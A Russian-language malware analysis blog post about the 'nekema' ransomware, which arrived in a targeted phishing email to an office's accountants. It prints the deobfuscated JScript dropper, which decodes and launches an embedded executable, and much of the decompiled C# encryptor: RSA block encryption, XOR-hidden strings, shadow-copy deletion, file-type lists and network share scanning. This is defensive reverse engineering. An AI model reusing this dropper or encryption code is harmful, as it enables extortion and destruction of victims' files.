Ковыряем криптолокер, назовём его — «nekema»

в 18:24, , рубрики: cryptolocker, Malware, криптолокеры, реверс-инжиниринг, реверсинг malware
Ковыряем криптолокер, назовём его — «nekema» - 1

Итак, очередной криптолокер зашифровал файлы в небольшой конторе, стандартная проблема современности. Приехал посмотреть, и случилось чудо — письмо с заразой не удалили. Записал ссылку с которой грузиться файл с заразой, прочитал лекцию о важности бэкапов, перенес зараженные файлы в отдельную папку до лучших времен и покинул расстроенных бухгалтеров.

Дома решил посмотреть как происходит заражение, и проанализировать, может есть шанс восстановить данные. Что из этого вышло — под катом, добро пожаловать!

Заражение

Доставка криптолокера — по email, письмо похоже на рабочее, видно что точечная рассылка, для конкретной конторы, электропочта есть на сайте организации. К письму как бы приаттачен файл в формате архива *.rar с привлекающем любого бухгалтера названием «акт сверки №317 сформировано 1С 09112017.rar», но на самом деле, при наведении курсора на файл видно что файл был размещен на файлохранилище bitly.com ввиде короткой ссылки, ссылку не привожу, по понятным причинам. Ссылка ведет на реальный архив «акт сверки №317 сформировано 1С 09112017.rar». Внутри архива — «файл акт сверки №317 сформировано 1С 09112017.wsf», который и был запущен, что и привело к шифрованию файлов. Итог — файлы стали вида — "%имя файла%.%расширение файла%.t20ajvx21j" — пример: «Koala.jpg.t20ajvx21j». На рабочем столе файлы «HOW--TO--RETURN--YOUR--FILES.jpg» — содержит информацию с инструкциями (картинка в заголовке) и «ssda.far» — назначение файла будет описано ниже, как и список расширений.
Как описано в инструкции послали файлы на указанный адрес, естественно взяли самый важный файл. В ответ довольно быстро пришло письмо с расшифрованным файлом и требованием перечислить сумму в размере 0.03 btc, по курсу на тот момент 12390 рублей. Бухгалтеры оценили потери, и решили не платить вымогателю, благо что 1С уже была перенесена в облако. Да и остальные файлы были дублированы. Обошлось малой кровью.

На компьютере жертвы установлен был Kaspersky Free, но он промолчал.

Скрипт — содержание и анализ

Итак файл: «файл акт сверки №317 сформировано 1С 09112017.wsf». Размер 141 693 байта.
Приведу небольшой код чтобы было понятно с чем мы имеем дело:

Исходный код скрипта - уменьшен.

<job id="EVHQQ">
<script language="JScript.Encode"> 
#@~^GikCAA==&JeMCeCeeCeCMeCeMeCeMMCeeCMeCeeCMMeCeCeMeMMCeMeCMeCeMM@#@&C.,ls']vtk^MWkWB3B6ORoHJf}HvSE4k	 4m/++*v~EUm.k2Oc?4+^sBBB)9}fA jDDnlsvBBd4+^VRmwask1lOkKxvDp@#@&7CD,fH}~xP	+SP)mOr7+pr(%+1YcC^$!Dbp@#@&m.,2J}P{Pftrc^DlO+AVnhxYvEl6;lrbI@#@&wnxD-
.....вырезано.....
</script></job>

Файл зашифрован с помощью JScript.Encode и не читабелен. Для расшифровки использовался инструмент найденный на Github — Windows Script Decoder 1.8

После расшифровки получили читабельного вида файл:

Расшифрованный скрипт - уменьшен.
<job id="EVHQQ">
<script language="JScript.Encode"> 
//****************************************************
var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];
var DMO = new ActiveXObject(al[0]);
var ELO = DMO.createElement("afqa");
vFP=rvpa();
ELO.dataType = al[1];
if (vFP==3.5) {ELO.text = gvp3()}
else {ELO.text = gvp4()}
ELO.text = gvp4();
ELO.text=ELO.text.substring(8);
var dot= ELO.nodeTypedValue;
sfile();
strt(noome2);

function gvp3(){
var t="ASTADA//TVqQAAMAAAAEAAAA//G4AZQBrAGUAegAxAC4AZQB4AGUAAAAAAC4ABwABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbgBlAGsAZQBtAGEAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....Очень много вырезано....
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAAAMAAAASDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
return t;
}

function setname(){
if (vFP==3.5) {var sn='eselp3.ax'}
else {sn='eselp4.ax'}
return sn;
}
function strt(n){
W1S = new ActiveXObject(al[2]);
W1S.Run('cmd.exe /C '+n, 0, false);
}
function sfile(){
var foso = new ActiveXObject(al[2]);
noome2 = foso.ExpandEnvironmentStrings("%AppData%")+"\"+setname();
var aod=new ActiveXObject(al[3]);
aod.Type=1;
aod.open();
aod.write(dot);
aod.saveToFile(noome2,2);
aod.close(); 
}
function gvp4(){
var t="ASTADA//TVqQAAMAAAAEAAAA//QBtAGEALgBlAHgAZQAAAAAALgAHAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABuAGUAawBlAG0AYQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAAAwAAADIMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....Очень много вырезано....
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
return t;
}

function rvpa(){
var wFRI= 0x10;
var wFFO= 0x20;
var rv=4;
var oWS= GetObject("winmgmts:\\.\root\CIMV2");
var cItems = oWS.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", wFRI | wFFO);
var eItems = new Enumerator(cItems);
var objItem = eItems.item();
if (objItem.Caption.indexOf('Windows 7')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows 2003')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows 2000')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows XP')>0) rv=3.5;
if (objItem.Caption.indexOf('Windows Vista')>0) rv=3.5;
return rv;
}
</script>
</job> 

Работа скрипта:

al — хранит массив названий объектов ActiveX которые будут использованы в скрипте:

var al=['Microso'+'ft.XMLDOM','bin.base64','WScript.Shell','ADODB.Stream','shell.application'];

Обращение к переменной происходит по индексу — пример «al[1] значит — bin.base64»

var DMO = new ActiveXObject(al[0]);
var ELO = DMO.createElement("afqa");

Создается объект DMO Microsoft.XMLDOM и в нем создает узел элемента с именем «afqa» в переменную ELO.

ELO.dataType = al[1]; 
if (vFP==3.5) {ELO.text = gvp3()}
else {ELO.text = gvp4()}
ELO.text = gvp4();
ELO.text=ELO.text.substring(8);
var dot= ELO.nodeTypedValue;
sfile();

Функции gvp3() и gvp4() — возвращают текст в котором закодированы бинарные файлы с помощью base64.

Элементу ELO назначается тип данных — bin.base64 и, в зависимости от версии ОС, присваивается значение поля text = текст кодированного бинарного файла в формате base64.
Потом копируется текст из ELO в ELO начиная с 8-го символа. Затем в переменную dot помещается файл в раскодированном виде.

Переменная vFP хранит возвращаемое значение функции rvpa() — которая в зависимости от версии Windows возвращает rv=4 для Windows 8 и выше, а для Windows XP- Windows 7 rv=3.5.

Функция sfile() — сохраняет файл в папке «C:Users%user%AppDataRoaming» с именем получаемым из функции setname() — «eselp3.ax» или «eselp4.ax» в зависимости от переменной rv.
Полное имя файла помещается в переменную «noome2» — «C:Users%user%AppDataRoamingeselp3.ax»

И наконец вызов функции strt(noome2) стартует файл, с помощью 'cmd /c %путь к файлу%'.

Если изменить расширение файла на .exe, то можно увидеть свойства файла:

Свойства

Ковыряем криптолокер, назовём его — «nekema» - 2

Тут можно увидеть название исходного файла «nekema».

Бинарник

Для анализа использовались инструменты:
.NET Reflector 9.0
SharpDevelop 4.3

Запускаем Reflector и загружаем файл. Видим структуру:

Ковыряем криптолокер, назовём его — «nekema» - 3

Нас интересует nekez1, сохраняем исходный код для анализа:

Исходный код Nekez1 оставлены ключевые функции для анализа. Добавлены комментарии к переменным.

namespace nekema
{
    public class Form1 : Form
    {
        private int blocksize = 0xf5; //245 размер блока.
        private IContainer components = null;
        private List<string> extensions = new List<string>(); // список расширений
        private List<string> FullList = new List<string>(); // список шифруемых файлов 
        private string keyCode; // Расширение зашифрованных файлов. Рандомное значение.
        private string keyfile = ""; // Хранит название файла "ssda.far"
        private string kfExt = ""; // расширение файла "far"
        private string kfName = ""; //имя без расширения "ssda"
        private static readonly int MAX_PATH = 260; // максимальный путь
        private string pbK = ""; // Публичный ключ для шифрования ключей которыми шифруют файлы.
        private string privateKey = ""; // Ключи которыми шифруют файлы приватный и публичный
        private string publicKey = ""; // Публичный ключ которым шифруются файлы.
        private int repeatCount = 3; // Количество строк шифрования
        private List<string> SpecFolders = new List<string>();
        private string vNF = ""; // имя файла  HOW--TO--RETURN--YOUR--FILES.jpg
        private byte X = 0x91; // // Значение для расшифровки в функции DEXOR = 145


//////  сохранение картинки с требованиями выкупа из ресурсов HOW--TO--RETURN--YOUR--FILES.jpg
        private void AddNote(string f) 
        {
            string currentDirectory = Environment.CurrentDirectory;
            if (f != currentDirectory)
            {
                try
                {
                    if (!File.Exists(f + @"" + this.vNF))
                    {
                        Resources.ne5.Save(f + @"" + this.vNF);
                    }
                }
                catch
                {
                }
            }
        }

//////// Шифрование файлов - основная процедура
        private void CF(string f1)
        {
            byte[] destinationArray = new byte[this.blocksize];
            try
            {
                byte[] sourceArray = File.ReadAllBytes(f1);
                if ((sourceArray.Length / (this.repeatCount + 5)) >= this.blocksize)
                {
                    RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                    provider.FromXmlString(this.publicKey);
                    byte[] buffer3 = new byte[sourceArray.Length + (this.repeatCount * 11)];
                    byte[] buffer4 = new byte[sourceArray.Length - (this.repeatCount * this.blocksize)];
                    for (int i = 0; i < this.repeatCount; i++)
                    {
                        Array.Copy(sourceArray, this.blocksize * i, destinationArray, 0, this.blocksize);
                        byte[] buffer5 = provider.Encrypt(destinationArray, false);
                        Array.Copy(buffer5, 0, buffer3, i * (this.blocksize + 11), buffer5.Length);
                    }
                    Array.Copy(sourceArray, this.repeatCount * this.blocksize, buffer4, 0, buffer4.Length);
                    Array.Copy(buffer4, 0, buffer3, this.repeatCount * (this.blocksize + 11), buffer4.Length);
                    try
                    {
                        File.WriteAllBytes(f1, buffer3);
                        File.Move(f1, f1 + this.keyCode);
                    }
                    catch
                    {
                    }
                }
            }
            catch
            {
            }
        }
////// Шифрование с помощью публичного ключа основных ключей для шифрования - ключевая функция
        private string CryptKey(string s)
        {
            string str = "";
            byte[] array = new byte[s.Length];
            byte[] destinationArray = new byte[this.blocksize];
            byte[] bytes = new byte[this.blocksize + 11];
            double num = Math.Ceiling((double) (((double) s.Length) / ((double) this.blocksize)));
            if (s.Length < (num * this.blocksize))
            {
                int length = s.Length;
                for (int i = 0; i < ((num * this.blocksize) - length); i++)
                {
                    s = s + " ";
                }
            }
            array = Encoding.Default.GetBytes(s);
            Array.Reverse(array);
            try
            {
                RSACryptoServiceProvider provider = new RSACryptoServiceProvider(0x800);
                provider.FromXmlString(this.pbK);
                for (int j = 0; j < num; j++)
                {
                    Array.Copy(array, j * this.blocksize, destinationArray, 0, this.blocksize);
                    bytes = provider.Encrypt(destinationArray, false);
                    str = str + Encoding.Default.GetString(bytes);
                }
            }
            catch
            {
            }
            return str;
        }
///// Удаляет теневые копии файлов 
        private void DelS()
        {
            byte[] a = new byte[] { 0xe7, 0xe2, 0xe2, 240, 0xf5, 0xfc, 0xf8, 0xff, 0xbf, 0xf4, 0xe9, 0xf4 };
            byte[] buffer2 = new byte[] { 
                0xd5, 0xf4, 0xfd, 0xf4, 0xe5, 0xf4, 0xb1, 0xc2, 0xf9, 240, 0xf5, 0xfe, 230, 0xe2, 0xb1, 190,
                0xd0, 0xfd, 0xfd, 0xb1, 190, 0xc0, 0xe4, 0xf8, 0xf4, 0xe5
            };
            Process process = new Process {
                StartInfo = { 
                    FileName = this.DeXOR(a, this.X),
                    Arguments = this.DeXOR(buffer2, this.X),
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    UseShellExecute = true,
                    Verb = "runas"
                }
            };
            try
            {
                process.Start();
            }
            catch
            {
            }
        }
///// Расшифровка строк из массива байтов в строку с помощью XOR
        private string DeXOR(byte[] A, int x)
        {
            string str = "";
            byte[] bytes = new byte[A.Length];
            for (int i = 0; i < A.Length; i++)
            {
                bytes[i] = (byte) (A[i] ^ x);
            }
            return (str = Encoding.Default.GetString(bytes));
        }

///// Основная функция стартующая всё.
        private void Init()
        {
            this.Prep(); // Инициализация
            this.SaveNotes(); // Сохранение картинки и файла ключей 
            this.GetDrives(); // Получение дисков
            this.NetScan(); // Сканирование сети
            this.SetDesktopWallpaper(); // Должно видимо быть установка картинки в качестве обоев, но не работает
        }

        private void Prep()
        {
            int num5;
// Строка a = ssda.far             
byte[] a = new byte[] { 0xe2, 0xe2, 0xf5, 240, 0xbf, 0xf7, 240, 0xe3 };

 //buffer2 = HOW--TO--RETURN--YOUR--FILES.jpg
byte[] buffer2 = new byte[] {0xd9, 0xde, 0xc6, 0xbc, 0xbc, 0xc5, 0xde, 0xbc, 0xbc, 0xc3, 0xd4, 0xc5, 0xc4, 0xc3, 0xdf, 0xbc, 0xbc, 200, 0xde, 0xc4, 0xc3, 0xbc, 0xbc, 0xd7, 0xd8, 0xdd, 0xd4, 0xc2, 0xbf, 0xfb, 0xe1, 0xf6};

//buffer3 = <RSAKeyValue <Modulus>+fFYiO9CH9iZwwzlsQ3X+qZ7Uyx290OhZ1WvLt6cmDd5oRsLoHLnoGws1CWFMOGFjtbaROSkTg3W+72/TjzHkuPp2W/RC7FBC4JpgguCi4x4ye4HEwRkQ75tHhig08hRKm1a7wlwYl8zLAzM8AwTPLh770MOzPqF1fJMKZCAtdUgIKdYNAkrP18sRbshkGNjwjMhMLNbKTaYfo3qIS4vtVUQtcw+g9ys3ZFZetKEl0ZMJEp4X7b4HK9vqUohPBYfBszXY6ion5m5tSSfhJK6OX2HPaU6RDcajTeEcmk9it9x73drJleZ1G+tVgL6duLX/uOWPVyi0rhyvYmRrGNcIQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>
 
byte[] buffer3 = new byte[] { 0xad, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf, 0xad, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xba, 0xf7, 0xd7, 200, 0xf8, 0xde, 0xa8, 210, 0xd9, 0xa8, 0xf8, 0xcb, 230, 230, 0xeb, 0xfd, 0xe2, 0xc0, 0xa2, 0xc9, 0xba, 0xe0, 0xcb, 0xa6, 0xc4, 0xe8, 0xe9, 0xa3, 0xa8, 0xa1, 0xde, 0xf9, 0xcb, 160, 0xc6, 0xe7, 0xdd, 0xe5, 0xa7, 0xf2, 0xfc, 0xd5,0xf5, 0xa4, 0xfe, 0xc3, 0xe2, 0xdd, 0xfe, 0xd9, 0xdd, 0xff, 0xfe, 0xd6, 230, 0xe2, 160, 210,0xc6, 0xd7, 220, 0xde, 0xd6, 0xd7, 0xfb, 0xe5, 0xf3, 240, 0xc3, 0xde, 0xc2, 250, 0xc5, 0xf6, 0xa2, 0xc6, 0xba, 0xa6, 0xa3, 190, 0xc5, 0xfb, 0xeb, 0xd9, 250, 0xe4, 0xc1, 0xe1, 0xa3, 0xc6,190, 0xc3, 210, 0xa6, 0xd7, 0xd3, 210, 0xa5, 0xdb, 0xe1, 0xf6, 0xf6, 0xe4, 210, 0xf8, 0xa5, 0xe9, 0xa5, 0xe8, 0xf4, 0xa5, 0xd9, 0xd4, 230, 0xc3, 250, 0xc0, 0xa6, 0xa4, 0xe5, 0xd9, 0xf9, 0xf8, 0xf6, 0xa1, 0xa9, 0xf9, 0xc3, 0xda, 0xfc, 160, 240, 0xa6, 230, 0xfd, 230, 200, 0xfd, 0xa9, 0xeb, 0xdd, 0xd0, 0xeb, 220, 0xa9, 0xd0, 230, 0xc5, 0xc1, 0xdd, 0xf9, 0xa6, 0xa6, 0xa1, 220, 0xde, 0xeb, 0xc1, 0xe0, 0xd7, 160, 0xf7, 0xdb, 220, 0xda, 0xcb, 210, 0xd0, 0xe5, 0xf5, 0xc4, 0xf6, 0xd8, 0xda, 0xf5, 200, 0xdf, 0xd0, 250, 0xe3, 0xc1, 160, 0xa9, 0xe2, 0xc3, 0xf3, 0xe2, 0xf9, 250, 0xd6, 0xdf, 0xfb, 230, 0xfb, 220, 0xf9, 220, 0xdd, 0xdf, 0xf3, 0xda, 0xc5, 240, 200, 0xf7, 0xfe, 0xa2, 0xe0, 0xd8, 0xc2, 0xa5, 0xe7, 0xe5, 0xc7, 0xc4, 0xc0, 0xe5, 0xf2, 230, 0xba, 0xf6, 0xa8, 0xe8, 0xe2, 0xa2, 0xcb, 0xd7, 0xcb, 0xf4, 0xe5, 0xda, 0xd4, 0xfd, 0xa1, 0xcb, 220, 0xdb, 0xd4, 0xe1, 0xa5, 0xc9, 0xa6, 0xf3, 0xa5, 0xd9, 0xda, 0xa8, 0xe7, 0xe0, 0xc4, 0xfe, 0xf9, 0xc1, 0xd3, 200, 0xf7, 0xd3, 0xe2, 0xeb, 0xc9, 200, 0xa7, 0xf8, 0xfe, 0xff, 0xa4, 0xfc, 0xa4, 0xe5, 0xc2, 0xc2, 0xf7, 0xf9, 0xdb, 0xda, 0xa7, 0xde, 0xc9, 0xa3, 0xd9, 0xc1, 240, 0xc4, 0xa7, 0xc3, 0xd5, 0xf2, 240, 0xfb, 0xc5, 0xf4, 0xd4, 0xf2, 0xfc, 250, 0xa8, 0xf8, 0xe5, 0xa8, 0xe9, 0xa6, 0xa2, 0xf5, 0xe3, 0xdb, 0xfd, 0xf4, 0xcb, 160, 0xd6, 0xba, 0xe5, 0xc7, 0xf6, 0xdd, 0xa7, 0xf5, 0xe4, 0xdd, 0xc9, 190, 0xe4, 0xde, 0xc6, 0xc1, 0xc7, 0xe8, 0xf8, 0xa1, 0xe3, 0xf9, 0xe8, 0xe7, 200, 0xfc, 0xc3, 0xe3, 0xd6, 0xdf, 0xf2, 0xd8, 0xc0, 0xac, 0xac, 0xad, 190, 220, 0xfe, 0xf5, 0xe4, 0xfd, 0xe4, 0xe2, 0xaf, 0xad, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xd0, 0xc0, 0xd0, 0xd3, 0xad, 190, 0xd4, 0xe9, 0xe1, 0xfe, 0xff, 0xf4, 0xff, 0xe5, 0xaf, 0xad, 190, 0xc3, 0xc2, 0xd0, 0xda, 0xf4, 0xe8, 0xc7, 240, 0xfd, 0xe4, 0xf4, 0xaf};
// Если Windows Vista и выше - то удаляет теневые копии.
            if (Environment.OSVersion.Version.Major > 5)
            {
                new Thread(new ThreadStart(this.DelS)).Start();
            }
// расшифровка значений из массивов байтов в строки... 
            this.pbK = this.DeXOR(buffer3, this.X);
            string str = this.DeXOR(buffer2, this.X);
            this.vNF = this.DeXOR(buffer2, this.X);
            this.keyfile = this.DeXOR(a, this.X);
            this.kfExt = this.RetFExt(this.keyfile);
            this.kfName = this.RetFName(this.keyfile);
            this.keyCode = ".";
// вычисление расширения для шифрованных файлов
            Random random = new Random();
            random.Next(0x61, 0x7a);
            for (int i = 0; i < 1; i++)
            {
                this.keyCode = this.keyCode + Convert.ToChar(random.Next(0x61, 0x7a)).ToString();
            }
            string[] textArray1 = new string[] { this.keyCode, (DateTime.Now.Day + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString(), (DateTime.Now.Month + 10).ToString(), Convert.ToChar(random.Next(0x61, 0x7a)).ToString() };
            this.keyCode = string.Concat(textArray1); // таким будет расширение файлов после шифрования...
 // Создание списка папок для исключения из шифрования...
           string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
            folderPath = folderPath.Substring(0, folderPath.ToLower().IndexOf(@"system"));
 string str3 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
            this.SpecFolders.Add(folderPath.ToLower());
            this.SpecFolders.Add(str3.ToLower());
            this.SpecFolders.Add(this.DeXOR(new byte[] { 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xc3 }, this.X));
            this.SpecFolders.Add(this.DeXOR(new byte[] { 0xb5, 0xc3, 0xd4, 210, 200, 210, 0xdd, 0xd4, 0xbf, 0xd3, 0xd8, 0xdf }, this.X));
            this.SpecFolders.Add(this.DeXOR(new byte[] { 
                0xc2, 0xe8, 0xe2, 0xe5, 0xf4, 0xfc, 0xb1, 0xc7, 0xfe, 0xfd, 0xe4, 0xfc, 0xf4, 0xb1, 0xd8, 0xff,
                0xf7, 0xfe, 0xe3, 0xfc, 240, 0xe5, 0xf8, 0xfe, 0xff
            }, this.X));
/*
Исключеные папки...
c:windows
c:program files (x86)
RECYCLER
$RECYCLE.BIN
System Volume Information 
*/
/// Создание списка расширений
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfd, 0xf5, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 240, 0xe9 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf4, 0xe1, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 160, 0xf2, 0xf5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xf3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xf5, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 0xfb }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 240, 0xe3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xa6, 0xeb }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 240, 0xe3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xeb, 0xf8, 0xe1 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe5, 0xf8, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf6 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf8 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf3, 0xfc, 0xe1 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xff, 0xf6 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xf5, 0xe3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe2, 0xf5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfb, 0xe1, 0xf4, 0xf6 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf5, 0xfe, 0xf2, 0xe9 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe9, 0xfd, 0xe2, 0xe9 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe1, 0xe1, 0xe5, 0xe9 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xf2, 0xf2, 0xf5, 0xf3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfc, 0xf5, 0xf3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe3, 0xe5, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe5 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xe2 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xf5, 0xf6 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xf2, 0xe3, 0xa3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xf4, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xff, 0xe3, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xfe, 0xe3, 0xf7 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 240, 0xe3, 230 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xa3 }, this.X));
            this.extensions.Add(this.DeXOR(new byte[] { 0xbf, 0xe2, 0xe3, 0xf7 }, this.X));
/*
 * Затрагиваемые расширения файлов:
 .cd.ldf .mdf .max .dbf .epf .1cd .md .db .pdf .ppt .xls .doc .arj .tar .7z .rar .zip .tif .jpg .ai .bmp .png .cdr .psd .jpeg .docx .xlsx .pptx .accdb .mdb .rtf .odt .ods .odb .odg .cr2 .nef .nrf .orf .arw .sr2 .srf
 */
// получение сетевых путей
            List<string> list = new List<string>();
            Process process = new Process {
                StartInfo = { 
                    FileName = "cmd",
                    Arguments = "/C net view",
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true
                }
            };
            try
            {
                bool flag4;
                process.Start();
                string str4 = process.StandardOutput.ReadToEnd();
                int startIndex = 0;
                int index = 0;
                goto Label_0A8B;
            Label_0A48:
                startIndex = str4.IndexOf('\', startIndex);
                if (startIndex == -1)
                {
                    goto Label_0A98;
                }
                index = str4.IndexOf(' ', startIndex);
                list.Add(str4.Substring(startIndex, index - startIndex));
                startIndex = index;
            Label_0A8B:
                flag4 = true;
                goto Label_0A48;
            }
            catch
            {
            }
        Label_0A98:
            num5 = 0;
            while (num5 < list.Count)
            {
                Process process2 = new Process {
                    StartInfo = { 
                        FileName = "cmd",
                        Arguments = "/C net view " + list[num5],
                        RedirectStandardOutput = true,
                        UseShellExecute = false,
                        CreateNoWindow = true
                    }
                };
                try
                {
                    process2.Start();
                    string s = process2.StandardOutput.ReadToEnd();
                    byte[] bytes = Encoding.GetEncoding(0x4e3).GetBytes(s);
                    char[] separator = new char[] { 'r', 'n' };
